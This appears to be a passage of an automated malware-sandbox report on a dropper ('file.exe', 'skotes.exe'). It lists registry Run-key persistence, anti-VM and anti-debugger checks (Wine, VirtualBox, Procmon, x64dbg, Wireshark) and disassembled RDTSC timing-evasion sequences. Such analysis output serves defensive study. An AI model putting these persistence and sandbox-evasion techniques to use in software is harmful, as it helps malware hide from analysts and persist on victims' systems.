Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b6e002a8f0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 25e92e47ca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 25e92e47ca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e82adb1900.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e82adb1900.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9747
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-13115

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F55A second address: 63EE0C instructions: 0x00000000 rdtsc 0x00000002 js 00007FB869324F1Ch 0x00000008 jg 00007FB869324F16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 js 00007FB869324F1Ch 0x00000017 add dword ptr [ebp+122D3D49h], edi 0x0000001d push dword ptr [ebp+122D1299h] 0x00000023 jmp 00007FB869324F1Fh 0x00000028 call dword ptr [ebp+122D3ACEh] 0x0000002e pushad 0x0000002f jc 00007FB869324F2Ch 0x00000035 jmp 00007FB869324F26h 0x0000003a xor eax, eax 0x0000003c sub dword ptr [ebp+122D3AC9h], edx 0x00000042 ja 00007FB869324F1Ch 0x00000048 mov dword ptr [ebp+122D3CC6h], edx 0x0000004e mov edx, dword ptr [esp+28h] 0x00000052 stc 0x00000053 mov dword ptr [ebp+122D2EACh], eax 0x00000059 add dword ptr [ebp+122D3AC9h], edx 0x0000005f cmc 0x00000060 mov esi, 0000003Ch 0x00000065 or dword ptr [ebp+122D3AC9h], ecx 0x0000006b xor dword ptr [ebp+122D23F7h], ecx 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 stc 0x00000076 lodsw 0x00000078 add dword ptr [ebp+122D2A1Fh], eax 0x0000007e add eax, dword ptr [esp+24h] 0x00000082 jmp 00007FB869324F1Bh 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b pushad 0x0000008c mov dword ptr [ebp+122D3D49h], ebx 0x00000092 or al, FFFFFFEEh 0x00000095 popad 0x00000096 push eax 0x00000097 push eax 0x00000098 push edx 0x00000099 push esi 0x0000009a ja 00007FB869324F16h 0x000000a0 pop esi 0x000000a1 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD4CA second address: 7BD4D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD4D1 second address: 7BD4E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FB869324F22h 0x0000000f jnl 00007FB869324F16h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD4E8 second address: 7BD4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD3D9 second address: 7AD3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007FB869324F18h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD3EA second address: 7AD41B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8686220D3h 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FB8686220D2h 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD41B second address: 7AD42B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FB869324F16h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD42B second address: 7AD42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA4C second address: 7BCA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA52 second address: 7BCA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB8686220CCh 0x0000000a pop ebx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA69 second address: 7BCA6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA6F second address: 7BCA75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCD44 second address: 7BCD4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCD4E second address: 7BCD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8686220D4h 0x00000009 jmp 00007FB8686220D2h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF469 second address: 7BF46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF46D second address: 7BF4C0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 6DD6A2C1h 0x00000012 pushad 0x00000013 mov dword ptr [ebp+122D3B0Ch], eax 0x00000019 jmp 00007FB8686220CBh 0x0000001e popad 0x0000001f lea ebx, dword ptr [ebp+12454233h] 0x00000025 call 00007FB8686220D0h 0x0000002a movsx ecx, dx 0x0000002d pop esi 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 pop eax 0x00000034 jmp 00007FB8686220CDh 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF54C second address: 7BF552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF552 second address: 7BF556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF556 second address: 7BF57E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB869324F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB869324F27h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF57E second address: 7BF582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF582 second address: 7BF588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF588 second address: 7BF5A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8686220D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF5A0 second address: 7BF5A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF673 second address: 7BF678 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF678 second address: 7BF67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF67E second address: 7BF68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF781 second address: 7BF787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF845 second address: 7BF849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF849 second address: 7BF84D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF84D second address: 7BF861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jno 00007FB8686220C6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF861 second address: 7BF866 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0E60 second address: 7D0E64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0EF3 second address: 7E0F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FB869324F16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0F02 second address: 7E0F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FFE8 second address: 7A0009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jno 00007FB869324F16h 0x0000000e jnl 00007FB869324F16h 0x00000014 jmp 00007FB869324F1Ah 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0009 second address: 7A0024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D0h 0x00000007 push eax 0x00000008 jns 00007FB8686220C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEDDC second address: 7DEDE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB869324F16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEF3F second address: 7DEF43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEF43 second address: 7DEF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB869324F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF251 second address: 7DF263 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FB8686220C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF263 second address: 7DF267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF3DA second address: 7DF3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF88F second address: 7DF895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF895 second address: 7DF8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB8686220D4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF8AF second address: 7DF8B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF8B5 second address: 7DF8BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFE1B second address: 7DFE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFFD8 second address: 7DFFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFFDC second address: 7DFFE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFFE9 second address: 7DFFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jmp 00007FB8686220CEh 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DFFFE second address: 7E0013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB869324F21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6CC4 second address: 7D6CDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220CCh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6CDA second address: 7D6CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB869324F1Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6CED second address: 7D6CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6CF1 second address: 7D6CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6CF5 second address: 7D6CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6CFB second address: 7D6D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB869324F29h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007FB869324F16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6D26 second address: 7D6D37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220CDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6D37 second address: 7D6D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1AAF second address: 7A1AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E07F5 second address: 7E0814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jne 00007FB869324F22h 0x0000000b je 00007FB869324F16h 0x00000011 jbe 00007FB869324F16h 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0814 second address: 7E0818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0AE4 second address: 7E0AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0AEA second address: 7E0AEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9F92 second address: 7A9F98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9F98 second address: 7A9FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9FA2 second address: 7A9FA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9FA8 second address: 7A9FB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9FB1 second address: 7A9FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB869324F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECEE7 second address: 7ECF00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 jmp 00007FB8686220CDh 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECF00 second address: 7ECF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB869324F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECF0A second address: 7ECF39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FB8686220CEh 0x0000000f jmp 00007FB8686220D8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECF39 second address: 7ECF3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
